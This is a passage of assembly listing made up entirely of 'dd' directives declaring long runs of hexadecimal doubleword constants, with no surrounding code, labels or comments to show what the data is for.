		dd 0B9890975h, 92AE56AFh, 9401CF8Ah, 14071BCFh,	1CB8C5F0h
		dd 2F07E715h, 34A8F80Bh, 0F427B46Bh, 9059FE94h,	9ABEF860h
		dd 97053CE2h, 0DBDF1BDDh, 78704CCEh, 0D6D7B5C7h, 5E704179h
		dd 30A3996h, 0BE8B364Fh, 13417F65h, 7548972Ch, 448B1F72h
		dd 22AD94FCh, 1312B564h, 0F261F539h, 0E9FD8565h, 91FE50Dh
		dd 9FDBEA20h, 36675C39h, 9E7983Bh, 5F6767D7h, 0EDF62EE3h
		dd 0B10592A9h, 2D8B9639h, 0C5F9AA12h, 83F220B8h, 3B6070FCh
		dd 36670E1Dh, 0ADADD3D3h, 61AE5C42h, 632DD8Fh, 0C09F7076h
		dd 0BD73AAA3h, 0E0B0304Ah, 0CD76B82h, 2F33417h,	0F9BBE778h
		dd 28754AA4h, 0B2D7054h, 22A72743h, 3B1AD7C9h, 6C734EDDh
		dd 0F4A2C974h, 28412960h, 0F7AD98F8h, 0EF372A32h, 13690881h
		dd 1C62A518h, 5339FF41h, 79FFAFBEh, 776464F0h, 0BF090BE7h
		dd 659E51B0h, 31ACCB13h, 0E25E0D73h, 0A333156Dh, 1568B2BDh
		dd 0E74BDBDh, 40E507F1h, 1EC2C23Eh, 0B417D3BDh,	0A9574632h
		dd 239B7FC1h, 0EC9910A1h, 3CA9FBC0h, 2946CEDCh,	5CA9DAEh
		dd 11B1372Dh, 5BAC97F7h, 9BBC5AFFh, 0ADA0F611h,	0AF2B985h
		dd 2D88BCF6h, 0D26803D2h, 9C9E482Ch, 0DF0F9E14h, 9C711F0Ah
		dd 222BCE35h, 0E4F0FFA7h, 7C800664h, 561CDBBFh,	3D222DD9h
		dd 0DEDA16A3h, 1A2EC439h, 100637D8h, 970888E0h,	63418063h
		dd 0C8C01748h, 0C9FCC401h, 205FEFBCh, 1F3E1C43h, 83BB378Dh
		dd 7069C096h, 763BB4BDh, 0D3EC7C9Fh, 490095CEh,	2D3789B3h
		dd 8DA3AB11h, 0BD2484D0h, 0EAC05657h, 2EFBA033h, 0B0D2C42Fh
		dd 0E4C061A5h, 4D54CAACh, 4E1A7F5Eh, 232B47B4h,	5E5567C5h
		dd 10E19D99h, 9B9044E6h, 0F560816Dh, 3F4EC432h,	50585B24h
		dd 8C0B1400h, 597B5C96h, 49DB8EC7h, 24E01F0Eh, 0A44BDD31h
		dd 8CCDADACh, 0B887E875h, 0CEB17304h, 9A473011h, 784B3B1Ch
		dd 0C5FB9A0Eh, 4355E64Bh, 458FB532h, 5AA74F5Ah,	62977E34h
		dd 186037C8h, 0E3008E6Eh, 0E2A6976Ch, 0ABDEE90Eh, 1E0FA938h
		dd 5B48C070h, 0C5FE0C69h, 3FCFFACDh, 0CED9596Ch, 0A6777A80h
		dd 33C71C5Dh, 9DCB6877h, 0A271FF6Ah, 464D7FE1h,	24C97EBEh
		dd 0CDBCA6A6h, 0B38CBCEAh, 92D94134h, 65283F19h, 0AF2C6835h
		dd 83E1A18Ah, 650B8AFAh, 0F0B589D7h, 0B6D3375Eh, 50E882E8h
		dd 0AC1C9C6Eh, 9A47B47Ah, 0AF2E8A77h, 4D09F420h, 0E1C2447h
		dd 6F15C6EAh, 84363E91h, 0B72C7DDFh, 150B22C9h,	0E08DE069h
		dd 1DF6EF61h, 0A24F3B66h, 7774295Fh, 2F4A0747h,	92D23FC6h
		dd 355A1337h, 75AE015Dh, 0B780DEF0h, 35E8E283h,	0AC6F59E8h
		dd 4A060F42h, 15A79DD1h, 0EA1F80EEh, 0EFE867E1h, 0ABA4FFAAh
		dd 0ED3BDE17h, 7C5F4969h, 22809B53h, 0AA6635A1h, 4A4CB1B4h
		dd 63CC8537h, 6CD66EFCh, 0F46D0943h, 64E0F696h,	82160BF5h
		dd 5F04E3DBh, 9CFB16BFh, 64D6CF1Ah, 2558A89Eh, 0B93204FDh
		dd 0A7416797h, 56E66AD9h, 5F3A27BBh, 0C0B95D0Dh, 68866010h
		dd 13FFFA50h, 53161DEh,	0FBE43CF7h, 0AC02A6EDh,	0F4E2CECEh
		dd 196C3367h, 170FA7AEh, 9836DEECh, 0B2BDFEA9h,	7ED6C10Fh
		dd 8B85FE64h, 71D00866h, 0EF8347D2h, 1B7C2D2h, 8E0D2224h
		dd 3C7F9B0h, 9B2D9B4Ch,	0F5982E8Ch, 24CF1725h, 0F10FF593h
		dd 1BF6AA35h, 0FF009195h, 3B2C602Ch, 0B01EB8A2h, 0D2012FABh
		dd 526A5E6Ah, 7BF81D2Ah, 79C828F2h, 7FB3893Fh, 63BEB83Ah
		dd 0E53BEB0Eh, 42AEA6A3h, 0F8025B01h, 4EEFF05Ch, 2E80F141h
		dd 8F53114Fh, 0B846A218h, 0F5BF7104h, 8E6813F1h, 10536968h
		dd 0EE405D8Ch, 78AA5506h, 96CE503Dh, 464B04h, 64F7DD81h
		dd 0A5A1D9A2h, 4AB41A14h, 419A93AEh, 5FC10195h,	0B435D99Ah
		dd 72BB8994h, 7B817C93h, 14B82DBh, 95337223h, 33378FBFh
		dd 26602126h, 0D46606F8h, 281F3100h, 536F5560h,	0C59A92ACh
		dd 7E0B6A5Ah, 87DE5E36h, 47C7B84Eh, 1774001Dh, 27E154D0h
		dd 35174E66h, 0FDA0260h, 2F9BCFCh, 0AD9D626h, 0FEF6A3Bh
		dd 66FA537Eh, 3E52F854h, 4E418A30h, 0B94675F4h,	6B25F53Dh
		dd 0D6865137h, 47177018h, 42C16479h, 76D3FDA2h,	1FE782D7h
		dd 0E54EF71Dh, 0A4B150CDh, 0D08FF94Eh, 0BFAB3E6Bh, 2FFCB3ADh
		dd 0E9221292h, 7678D658h
		dd 0EE976C40h, 0C0867EBAh, 1CFF946Eh, 0DB09BFB1h, 1EE2FDAFh
		dd 632DBFFEh, 0E4DD2C7Eh, 1780CCDFh, 0ADBC3611h, 1E5A22A6h
		dd 47657A49h, 2DFBC589h, 8879D5Fh, 0C506D3A8h, 7CA346CAh
		dd 9FDA6A0Ah, 99B4F9D7h, 0E5B1162Ah, 0BDB8B074h, 7225721h
		dd 0DED092C0h, 27C4025Dh, 6A4CBD7h, 0B9325069h,	6F41E958h
		dd 947C9DA6h, 0DBC18074h, 0B6259149h, 0A99D8BD6h, 0B4A8BA33h
		dd 365A7621h, 61D0F201h, 2EB8E7F0h, 7B0EAA2Dh, 0F9CF4791h
		dd 793F7878h, 0F541E11h, 5645EE38h, 8B6CDD0Eh, 0FB27485Eh
		dd 0C3447492h, 3AB018D4h, 0BB63E808h, 0C3D9E7ABh, 0F09EE585h
		dd 0D6D73D7Fh, 189DA23Ch, 9F499669h, 6D723562h,	35C792DBh
		dd 0DEF05FCDh, 0E089A44Fh, 806BEA50h, 0E88EBB00h, 9D84F1ABh
		dd 676C8568h, 0F7E249F0h, 0F88E1379h, 0AEDB42E4h, 0B30E3BB7h
		dd 0BCBA3E9Ah, 0EC7E1891h, 0FF01921Bh, 579D657Eh, 0DA0CFD79h
		dd 40B09833h, 42864F1Bh, 1163DC37h, 71561E2Bh, 0E3860FF4h
		dd 19E2C756h, 306FBB12h, 72D1CE79h, 50E45D47h, 0C43B50DBh
		dd 0A20C3C3Ah, 0CF222DA6h, 4347131Eh, 47A4A061h, 0D8995D46h
		dd 85D5B6FEh, 0D81E588Ch, 0AC718082h, 0F7AE719Eh, 619FD6D6h
		dd 23BA50DEh, 0D88225D9h, 0BDD37AEDh, 0D6B33FA3h, 85C4236Ah
		dd 4D0D79F2h, 5ED4F3A4h, 0AB4ACF99h, 0BCB9F2F2h, 7691616Eh
		dd 52D0865Bh, 0F777F421h, 6DB7C815h, 0CE744ABh,	753638AAh
		dd 2286E64Dh, 77ECE3B8h, 49272459h, 0D53A5B43h,	0C81DAA90h
		dd 2412EB72h, 45BE39A3h, 5C8D6CC3h, 0A4CDEB94h,	7840D23Ch
		dd 0E124D9FFh, 888438AAh, 8CF04D57h, 0D95D2EBh,	0F20B9AA3h
		dd 5BBF2AF5h, 44B9C3CBh, 85E8096Eh, 276C45AAh, 0E9D0E023h
		dd 7D67027Eh, 4263B4F4h, 4472A69h, 1C121AABh, 1F9889BAh
		dd 0A445FF59h, 0FBDC9845h, 467BCFBBh, 0A000AEC5h, 9F2043F7h
		dd 5B7FA81Ch, 34966B31h, 74A7D47Ch, 0F51EA580h,	0B507B74Fh
		dd 23980016h, 0C2C6F242h, 0C5D5A2E5h, 0D358D3E2h, 467AA896h
		dd 95C9E660h, 0FDD89197h, 0CB308058h, 46145824h, 922E4B7Dh
		dd 2CE2036Eh, 3C7AE6Bh,	8749262Ah, 7F0C53D3h, 0DC3F3F01h
		dd 0FB3770C1h, 6851A4DCh, 0A59F484h, 3769068h, 522936CAh
		dd 25E74098h, 3D5A5FCBh, 5012FF1Ch, 13280DDBh, 88FFF308h
		dd 0E264F6C4h, 0DC72DA0h, 78132CCh, 100FA36Ch, 9CDE0D68h
		dd 0AFB6ADCh, 0F2B06D2Bh, 0D65FB10Dh, 0AB7C098Fh, 0E15249Ah
		dd 73E5CF03h, 31F30DD5h, 4AE3E4E2h, 13A769E3h, 68423DAAh
		dd 0AFBE924Eh, 4076AD99h, 0D3B86B8Ch, 4985C397h, 99D3117Bh
		dd 0D3F892EDh, 749FFE46h, 869690D3h, 6D72FCC2h,	698BFD29h
		dd 0A9F23FE8h, 62838E77h, 0DD937B7Ah, 5123A611h, 1BDEDF3Ah
		dd 14E1F00Bh, 692567CEh, 4F6A8569h, 96C583E6h, 0C1C8E38Eh
		dd 1B299650h, 6A1208A0h, 0BDB77459h, 7FC12436h,	9A30DADBh
		dd 58A8517h, 1DD63A3h, 4ED4FB2Fh, 2DE52760h, 9C94317Eh
		dd 0A56F2199h, 0B0D7645Eh, 0E71A496Ah, 295D609Fh, 6A72D34Dh
		dd 8519382Bh, 966BAE92h, 0EAECEC96h, 0C05E93D3h, 4726C4C9h
		dd 1BB3B95Fh, 7A9A7B4Ch, 4F9006DCh, 0ED57142h, 757AEB33h
		dd 15B00E71h, 51D6C588h, 3829C47Bh, 7BA643B0h, 1D62741h
		dd 0F352EB6Eh, 6566D0A4h, 0BE3EA638h, 575E0CECh, 1B0E2A99h
		dd 55E06325h, 0F24185A8h, 0B320530Eh, 0FB1D77F5h, 0D022366Ch
		dd 0FBE5C6D4h, 1FC525BBh, 1CE88A04h, 26CF91A6h,	0DA91A9A4h
		dd 34B666F3h, 0C2A53DABh, 4F76DB79h, 0ED32F815h, 0F00BF05Ah
		dd 8352F656h, 40E0B277h, 0E935E862h, 0AA8C0483h, 69CD2431h
		dd 0EA64D987h, 0B1E11DDBh, 57AC3686h, 3A86E2D2h, 2455D092h
		dd 0AE190CAh, 1388E1A2h, 5DBDE88Fh, 6DFB495Eh, 0B2D82AD9h
		dd 5A5615C7h, 0EF555CA7h, 57B6EAA6h, 0C5C010C3h, 8040492Eh
		dd 0DC36ABB0h, 0DDF96036h, 510B7860h, 0E362D55Dh, 0F1F997B1h
		dd 0F5FBE9E4h, 27E85CB1h, 91E1FA5Bh, 0DC94272h,	0FAE824B7h
		dd 504B6E05h, 0E08324C6h, 7467DD0Dh, 0B784897h,	0A1E7FAC8h
		dd 0A1AAC469h, 7AAC62C8h, 0A7B47E24h, 3595C196h, 12526BC3h
		dd 5C3196FBh, 0CE0A5982h, 0F7643B97h, 64B81880h, 331DB173h
		dd 0A371DE48h, 88570C9Fh, 4AA4EA1Dh, 846494CDh,	0CF7EEC5Ah
		dd 6AD3B27Dh, 0C989222Bh, 8714F498h, 0D0E53C47h, 6ED32612h
		dd 0A9F1DFDAh, 7E26A43Bh, 55E91EA8h, 0B206F3CBh, 0E6B4B00Ah
		dd 896431D7h, 4BA71A5Fh, 3B17D56Fh, 0C68393E6h,	5DA86CDDh
		dd 0D8DB368Bh, 3241290h, 5379E2F0h, 71781299h, 4A22CB3Ah
		dd 5D485221h, 3735254h,	0BD33EAA4h, 773CB307h, 0E2C1781Ah
		dd 0E1003764h, 6024BED9h, 73FFD149h, 0C430A80Dh, 506ED4C7h
		dd 0C2130989h, 3B97D617h, 73CD6876h, 0CDFDF32Bh, 4D14D030h
		dd 12831858h, 2B11AC8Dh, 0C51BF600h, 0FDA0BE54h, 6DD60540h
		dd 16FC086Ch, 0A9D7D3D1h, 9080E93Dh, 8590B237h,	0F3044AD8h
		dd 4BDE93E0h, 8E6C50Bh,	6F572686h, 28EF9CDh, 0A1EB7BCFh
		dd 1656EAF4h, 0D878FD32h, 0A57024BBh, 605CC239h, 0CBD8038Eh
		dd 0C0E6563Ah, 35464FC7h, 34E43A7Eh, 0AD2D6426h, 2A44C588h
		dd 9A3840C6h, 8EB7FDD9h, 0F873E3AFh, 4E89E78Ah,	4F68A34Bh
		dd 0EB7521AFh, 76F0A50h, 0DA0F9E02h, 7CD7A2CDh,	0E4DA7C46h
		dd 0AFC31FA0h, 0F3EE93F3h, 0E0A47BBFh, 0A4916AAEh, 0AA5CA57Eh
		dd 0B4B45303h, 93385FE6h, 155E869h, 0E3FD5B5h, 0FBEA6BB1h
		dd 2E5741DFh, 7C803B88h, 71B03A8h, 0BD1BD252h, 64D6CDDCh
		dd 8CC0DDA0h, 30ACC0CBh, 1DB0DB5Dh, 0B85E8AACh,	0FCB868Fh
		dd 37E14997h, 90641618h, 2A8D3168h, 7110764Dh, 0A2E74Ah
		dd 0F3D40A9Eh, 46DD93B0h, 2A1D91BEh, 7515CEA0h,	920792EFh
		dd 8689A3C5h, 0A13AA0h,	928D22B6h, 9181319Ah, 1886FD7Bh
		dd 0A73EF953h, 4981C869h, 0E506A8A5h, 644D6640h, 985A6222h
		dd 0DC5E245Ch, 0D2E77CC0h, 772199F7h, 9E3D7A7Eh, 12781160h
		dd 5C2EC403h, 886B7CCFh, 46321CBEh, 0FE36FEA8h,	0ACDCE7E0h
		dd 0F75749E5h, 47C68CACh, 0D338E0B2h, 6DE18EEBh, 0E1509274h
		dd 0EB1C2922h, 7BE40030h, 4AE9E4D0h, 0B619A7BFh, 21032DF0h
		dd 3AF1D06Dh, 0A31F5084h, 8CA95A3Bh, 99B6C360h,	519A22A9h
		dd 833A4CC7h, 0C76918B3h, 5ED03C58h, 0A434DBCEh, 0CC4CC080h
		dd 26FAC53Bh, 0B4D83089h, 996C58BCh, 0E6853B50h, 76118652h
		dd 0FA35B68Eh, 0A9542726h, 1DD41B7h, 5D8F77F6h,	6312054Bh
		dd 68F638CCh, 39F3E3C6h, 0A954D92Eh, 0B9E4B75Ah, 73698745h
		dd 7521FB32h, 0CEA5D318h, 760D2FBAh, 999F8316h,	0D5923A96h
		dd 3311C0D4h, 74DC0146h, 0BA2FEh, 4A3656EDh, 12C2D176h
		dd 33E1B7FCh, 0A2B4B92Ah, 2797D550h, 0F631CB57h, 9E9FA21h
		dd 0D3E9E5E2h, 4378C23Dh, 0A451AF71h, 57AA12Ch,	0DAAE0A3Dh
		dd 0FC03CEA6h, 0D7F64AEh, 0E7580C02h, 0A59563E8h, 0FE6BBB6Fh
		dd 31A41E14h, 83452615h, 0D880018Bh, 1F4E9109h,	2F10C533h
		dd 0DC5F138Ch, 0E96D3873h, 85CCB403h, 17605352h, 9624013Ah
		dd 5DB52594h, 0EE67E542h, 20674552h, 0AE0EE7CDh, 3EEA5BF1h
		dd 1BD29819h, 0FC5BDF85h, 1E21EDE1h, 0E6ACFFD3h, 0EC46D28Fh
		dd 0E8C93B8Eh, 0A3E6C782h, 0DA65A90Ch, 0C290EAFBh, 0F3E4AFCAh
		dd 551E515Eh, 34FA4B44h, 98EBD0E7h, 0B722D085h,	8D48B9B7h
		dd 601B4Fh, 0AC77D2F0h,	0BB2BEE60h, 9400D568h, 0A62C8F41h
		dd 1C240667h, 92DBC7FBh
		dd 7C3D41D1h, 0DB408475h, 0B1CE1B6h, 0A4E999EFh, 0F104D8F7h
		dd 0ABB161Eh, 52478DD0h, 2D21FD08h, 0D10E4C25h,	9B29D859h
		dd 54CADD41h, 5B0FE32Ch, 39454Ch, 0EF8AA7EBh, 9C724C43h
		dd 28A97FD3h, 3604B30Ch, 0F04A0FBEh, 970998D6h,	327CF995h
		dd 54792B0Eh, 0AB15C479h, 17E6D40Eh, 0E3B85D0Eh, 131D5D27h
		dd 0A806EFDBh, 7C33321Ah, 53EBDA6Ah, 0C2B26C4Ch, 888DA114h
		dd 5FDCB6C7h, 2E321169h, 236D4205h, 24FC1BCFh, 0A5BD121Dh
		dd 83B63A7Ch, 0D3B13973h, 4CA72EFh, 71B0328Ah, 0DFB9E252h
		dd 91E4BC52h, 8ED08B96h, 2933BBFh, 274B7F95h, 0A9DDA217h
		dd 319C9CE9h, 1837E64Bh, 0F1B22EA4h, 28E98778h,	0E2B9A975h
		dd 5507FBBCh, 8492B877h, 8768D0FBh, 0A7943C3Eh,	8B1A648Ch
		dd 52677A2h, 0A3E7A77Eh, 3882F66h, 0CA037A0Ch, 463DCA02h
		dd 0F9047CA9h, 4BA252D7h, 64024E8Ch, 0F63464A9h, 9CED9D5Bh
		dd 0DE54C15Ah, 0A0B717DCh, 0BA0DF0F2h, 0DB1AF054h, 4AFFB5DDh
		dd 8F9EA36Ah, 20741F8Dh, 0CAD4C2B1h, 5709E9C6h,	290B8B28h
		dd 81372787h, 0E58D0A97h, 0D14A4A4Eh, 8CF74D55h, 0DE2D886Ch
		dd 0E7A83A2Bh, 4161EB2Eh, 4C3FC91h, 34456650h, 0F7181D87h
		dd 0C8E2DB0Eh, 8857CE75h, 4D2FC7D2h, 0B590C2FFh, 3B43029h
		dd 116A8F8h, 0AE129FABh, 0EE2C85A8h, 0FDEBB3F3h, 508DE762h
		dd 749459CBh, 0EE91196h, 301C8BFh, 57136085h, 794F50A8h
		dd 837191C8h, 2B7E8E4Dh, 652E361Fh, 0EAA5BCB3h,	8BDF794Eh
		dd 94CF9C70h, 2AB3FC8Ch, 0BD5FB8D6h, 0FD94D3FEh, 6BAB0255h
		dd 29419156h, 0CC2995B3h, 0CC3A7E8Ch, 0B0769A5Eh, 135C4930h
		dd 0EA6EBC04h, 768AA1Ah, 0CC03E9E6h, 0BDAC6345h, 5F168FEEh
		dd 0E2464359h, 1B495CF5h, 1DCF996Fh, 0E0C30629h, 3F40EA15h
		dd 0F885E30h, 0CFCEB01Ah, 8A4DE96Eh, 19DB2C42h,	0BC228372h
		dd 3467ED2Ch, 0A3D038F8h, 58E1D56Ah, 7A22E73Bh,	0C5817208h
		dd 5A8E03E1h, 4D54B17Dh, 0B6823205h, 0D6DAFCBFh, 93E0E55Eh
		dd 3FA113D6h, 9D551F6Dh, 927A2056h, 0C832279Eh,	0DF9C2709h
		dd 0DA411F42h, 0BBA451BBh, 337D5E0Dh, 4DE759BDh, 55CDAA1Fh
		dd 0C73C5A1Dh, 24CE9BB1h, 0E3A22A06h, 0A0B92F22h, 42DDDD04h
		dd 0F4641C53h, 0D708D2EAh, 0FBB28832h, 800D0FC7h, 0A6E7BDFCh
		dd 902F60B2h, 0F6B68320h, 0D7C9380Eh, 7B5FB601h, 1C87222Ch
		dd 0D77C3CE5h, 0FFD104B9h, 0D400ECF7h, 0B445AA13h, 27138456h
		dd 0E12E8550h, 0EDEB10CCh, 32F1452Bh, 4E6B8FC0h, 3EE222B3h
		dd 5A23ECAFh, 0B0AFB09h, 106446D7h, 0CCA2F4D0h,	531EA0DEh
		dd 65A7876Ah, 203DD55Eh, 0A57A0DFCh, 0B6C03D9Eh, 517F3BB6h
		dd 9D59237Bh, 6FDA6C5Bh, 0C7FD2FE6h, 55ADBAEh, 17DAFD12h
		dd 0A2AAD898h, 1EF2417Bh, 6ED6949Eh, 0C803F9E7h, 0E70AFC43h
		dd 0FAB5FEC4h, 248C2FAFh, 6D694DC6h, 0B7557AFAh, 1236BE31h
		dd 0A083FD37h, 2FA2F331h, 4115A62Ch, 19BE3A3Ch,	0C3E15F7Bh
		dd 0B584CEFEh, 3F2CC4A6h, 0CEDA3B89h, 0C6B0ED53h, 28BBA49h
		dd 0A73151A6h, 0D64E6E36h, 9B524966h, 707CD986h, 5AB047E4h
		dd 0B80A6BD4h, 15F94D2Fh, 0D515E76Dh, 226111D8h, 0F836374Ah
		dd 0B11D57EEh, 8C2910F4h, 8A86405Eh, 33C5E30Bh,	0A6CAF936h
		dd 1E022CEDh, 867E3809h, 0C155E98Dh, 28D3C89h, 99CB8713h
		dd 7CC56E23h, 78379EAFh, 34A33CA6h, 8E50B304h, 2F77303Dh
		dd 591F740Dh, 468C758Eh, 18A92A13h, 0FC62FFACh,	6134D90Ch
		dd 0E00337C4h, 983E6E18h, 0D394BBAEh, 35FE84F0h, 0FD87059Bh
		dd 77C26224h, 9F4FD706h, 7FFCD024h, 92B3AA87h, 97E54930h
		dd 0A6F0467h, 8FBAA5D2h, 467BFEC1h, 0F5C01C9Fh,	7DA723C2h
		dd 0A08843C8h, 65357BA9h, 92E03418h, 8F92BC2h, 88077AD6h
		dd 0E949998Eh, 0A4A6AF33h, 0A989E196h, 4EC9E8D9h, 2259DBF8h
		dd 0BD8D0D05h, 286D3CB1h, 2C25AA75h, 0A4AF425Eh, 89FDAB93h
		dd 0E1E60BEh, 961FC858h, 48E62BDFh, 0FDD52683h,	0AC60B6E3h
		dd 3EE65F27h, 0D5E05733h, 0FF79C024h, 95C8D719h, 0EA433F05h
		dd 0AF0E3D29h, 0D24DF824h, 0ACCE0CD2h, 0EACD7949h, 5D602B81h
		dd 68D91FD7h, 0BB94ADA4h, 8AFCEC4Ah, 7EB83B6Eh,	28C48EC8h
		dd 0A7C86CC8h, 1C0E749Ch, 6CAF0422h, 1BD1BC58h,	0B2057781h
		dd 57059235h, 0BCB44C20h, 0F2988232h, 88F625B8h, 3ECC4A4Dh
		dd 67071B0h, 52F2C7BEh,	748D397Fh, 0C9411EFDh, 0B5910B30h
		dd 0E150A8CBh, 0E283775Dh, 0EFF1E8FDh, 0BA529A6Ch, 64655041h
		dd 0BFD3D408h, 0CC44B33Bh, 0FC878AABh, 0A3A73558h, 0EF3E585Fh
		dd 0C34D07C5h, 0C42E7B40h, 953467CCh, 0B7213B50h, 99C06E6Fh
		dd 0F201BE17h, 5C1AB465h, 951B3D7Dh, 0E0026B44h, 73220A46h
		dd 0ADB93416h, 0E2384D01h, 6F101CD2h, 7414940Bh, 430A000Ah
		dd 7F06758Ah, 0A3D95BCh, 3F24A7CBh, 0AAE0BE3Fh,	774D855Dh
		dd 5DFED4FFh, 3F23D58Bh, 9278EC5Eh, 395762ACh, 0E681C9C1h
		dd 9B285792h, 4E881C7Dh, 9E4D9395h, 6857F8D5h, 9AF12338h
		dd 1924C178h, 670F4A79h, 848E032Fh, 0AF41D150h,	0F3DB7B58h
		dd 13ACC9B2h, 76E5083Ch, 33B34078h, 81001099h, 7753C7FFh
		dd 0B4A65B01h, 5B1FE107h, 5F4E8C6Ch, 0DA63A1EBh, 175581B6h
		dd 0DE06D305h, 3425C0BFh, 0F1CB6BAEh, 0A9CE8C0Bh, 0A7BA96BCh
		dd 0DFBF126h, 36963954h, 0B7831210h, 494D081Fh,	1BCBB472h
		dd 3FD0F0Dh, 0A2E18DAh,	0D2326FB7h, 908B5926h, 0FB860E53h
		dd 0FF6BB152h, 12E45DC0h, 9F34C9E3h, 2F30C270h,	86E422D5h
		dd 10B1AB84h, 58F8AD33h, 0DDBBEF97h, 3BAA17E0h,	0D8363DADh
		dd 23E71CA4h, 0E152FF0Bh, 35F81428h, 0AE134DD4h, 0DE606436h
		dd 2DE485D8h, 0B4EDEAh,	31BEA23Dh, 0D987C433h, 150A25Ch
		dd 0DB613556h, 0CBD63496h, 0A125FE41h, 0B342A36Fh, 70FE6213h
		dd 0E40428B0h, 0A9BA73BEh, 0E6F2125h, 79CB1CB1h, 0BB018389h
		dd 350C9187h, 0D181CB39h, 5EE2A0F3h, 0BA5EF66Fh, 0C0F3FD4Eh
		dd 0BFAC6FFEh, 3224AC7Ah, 70DBE801h, 2A79473Ah,	9BA3951Fh
		dd 7E8B5707h, 0C18FCACDh, 0F8588EB2h, 7F61BD8Fh, 8B6A1E22h
		dd 353063A4h, 0DCBFCC38h, 0C90EC677h, 6AFACF59h, 0EA234DABh
		dd 9BC40A6Eh, 479A2074h, 0A4C15A5Ah, 1E97C83Eh,	0ED741AE6h
		dd 1D732821h, 0E466379Ah, 9645944Bh, 75085B24h,	0BA572F4Ch
		dd 0E1C56732h, 215ABBD9h, 0FD398440h, 0DC62BACFh, 52AF04FCh
		dd 8785E02Ah, 24A5051Ah, 79062CB7h, 0F01D62FBh,	11762D8Bh
		dd 8790FC8Dh, 0E45822h,	45F80814h, 0D3C78E01h, 0E3339591h
		dd 381441BCh, 8537D7Bh,	82707582h, 0DE3EF9BDh, 390EB455h
		dd 0AEF34C3Fh, 7CB25C90h, 94522D07h, 81834052h,	31274CF5h
		dd 0F314268Ch, 6B6A61C6h, 81F0279Dh, 0A831AFDBh, 0ABA64A46h
		dd 0E4FE9CCh, 37F1670Dh, 1384BEBDh, 0CA2BCD1Ch,	0E43634D5h
		dd 8CBB2C6h, 47F5245Ah,	15AC63FFh, 14A30F1Dh, 433B7CCDh
		dd 93B18CFh, 0E4AF435Fh, 2ED50477h, 38296FD9h, 0C94D5187h
		dd 0D22DC5CEh, 9B326569h, 5EF3CF52h, 5DA2329Fh,	0D1024C80h
		dd 0CB50771Ah, 15E4EA82h, 0A06EA77Ah, 0E421D3F2h, 0AD20E84h
		dd 0BB3AEE7Bh, 80B3DA5Bh, 0E6A1E01Ah, 4B601C3Eh, 3C8356E0h
		dd 0A0EEB4B7h, 2708C352h, 3527633Fh, 0E7AC9FBh,	740888CDh
		dd 3EE496E8h, 0EDA27574h, 31286C1Ah, 45A36F87h,	45E663BCh
		dd 1B805CFFh, 0DD15A489h, 239AACEFh, 60C99C9Eh,	90346BECh
		dd 470197E8h, 0C474F052h
		dd 6EC3869Ch, 654FC3D9h, 0CF3F52F0h, 8A44FA89h,	15E017C2h
		dd 5DDB3FA5h, 7AB2952Ah, 1AE3A48h, 0F5B80812h, 0F53B513h
		dd 0A05A0A5Bh, 129630B0h, 4E37F57Fh, 923FBFD0h,	0E166CCE5h
		dd 71DB904Ah, 8AFBA91Bh, 0EDDB58BAh, 3DB0951Dh,	22A14D6Eh
		dd 5D7AF474h, 7167ACA9h, 370796DFh, 5ED7B747h, 0D3C2CF0h
		dd 715968B1h, 0EF673989h, 0CE0FEDD7h, 9015CD7Fh, 0F04485B7h
		dd 2243E961h, 0EC2D985Ah, 9E3AC958h, 697AC3D4h,	0FDEC2996h
		dd 0A312A47Ah, 8C93E2E1h, 0E7AE1626h, 0DE8FE37Eh, 6C1786Fh
		dd 8C4DB34Eh, 21D14205h, 0B9FCC160h, 4AA0E10Eh,	0DAF38F6h
		dd 6F97C146h, 6FBD4234h, 7FD6A030h, 0ABC6DAECh,	0BA167A2Dh
		dd 92217EA6h, 9C728BF1h, 0F67302F2h, 0F89E21B0h, 0D8555F7Bh
		dd 0B1F4CF1Fh, 0E5347AD2h, 137B56A5h, 0E9A5B7DEh, 0F10FE267h
		dd 21995B6Dh, 0C6B2AAF9h, 35BA5F4Fh, 0A4B13918h, 31CE7894h
		dd 998E5C9h, 4B36AB26h,	2F4E57B8h, 546D6437h, 50BDB477h
		dd 9CB4D69h, 16D36765h,	4719BD00h, 0B62F63D2h, 0F2B15064h
		dd 3792C366h, 0AE17DBCCh, 0A4C87A05h, 7BA5DD4Eh, 1BFC66D8h
		dd 0E06EE8C6h, 0F1A6F01Ch, 0A373824Eh, 0A2C3F1F2h, 52696C33h
		dd 33D82A77h, 46EA3A74h, 0EDC8944h, 377F9A6Ah, 1860EA95h
		dd 79A3F5B5h, 0F9B17694h, 0C0F8DAA5h, 32E6E0BEh, 28FFEC4Dh
		dd 0F2599F6h, 197AD45Eh, 16346826h, 0FF36E9DCh,	3D9F6C89h
		dd 0D166DF87h, 3C32B68h, 4A35D513h, 0B2ECF339h,	0D941A4h
		dd 5620CB4Bh, 487D801Eh, 7D317B19h, 4508DFD2h, 53A3609h
		dd 0F46730Ch, 9F97E176h, 98B9EB05h, 7CE8E7DAh, 0D55564F8h
		dd 1E20D0E0h, 0C5188107h, 782A5103h, 0F91F0F7Fh, 9CEA8B9Ch
		dd 165C866Ah, 0A5E3B480h, 57D3EAA9h, 124764E5h,	0A1F66F02h
		dd 0B643ED36h, 73997EC5h, 24C3E047h, 72980D3Bh,	2A1A9E7Fh
		dd 0C81DEDCEh, 2B8A000h, 89569F9Bh, 84599333h, 0A9042748h
		dd 1549796Dh, 7637E1E1h, 274C7138h, 0DF64BFC6h,	4D6BEEC0h
		dd 6208B2C6h, 1E12F53Bh, 0BA754129h, 0B5BF716h,	0FB7C589Ah
		dd 0D2287E09h, 5C3EBD0Dh, 0E8142594h, 7685232Dh, 0E7B8A7A6h
		dd 71BBA83Fh, 4391732h,	6B8452DCh, 0B880B4FAh, 706724E2h
		dd 94D36628h, 0C6938105h, 57278A2Ah, 3F3E75D6h,	0BE6B59BFh
		dd 8AC52006h, 0B0EF60C0h, 71FE2D39h, 6EEC4D46h,	0D8A26B5Dh
		dd 0D86C638h, 0B3C852C2h, 18953A38h, 353E86CFh,	0FAAE2917h
		dd 1A1C7B82h, 0EC706362h, 159E4343h, 0EB2A512Ch, 365E9735h
		dd 0C4FBBA1Eh, 22CBB2EFh, 0CA1623EAh, 62299506h, 4C7647F4h
		dd 7B3FB5E4h, 0FEADB574h, 84BF3D32h, 4A3D13DDh,	64ED8A5Bh
		dd 397DD4F0h, 0E4D59F51h, 0DBCDC48Dh, 7628D477h, 0CFFE3158h
		dd 4E07972Bh, 8680CAF4h, 144F7E99h, 603C3C2Ch, 6DB9DFF1h
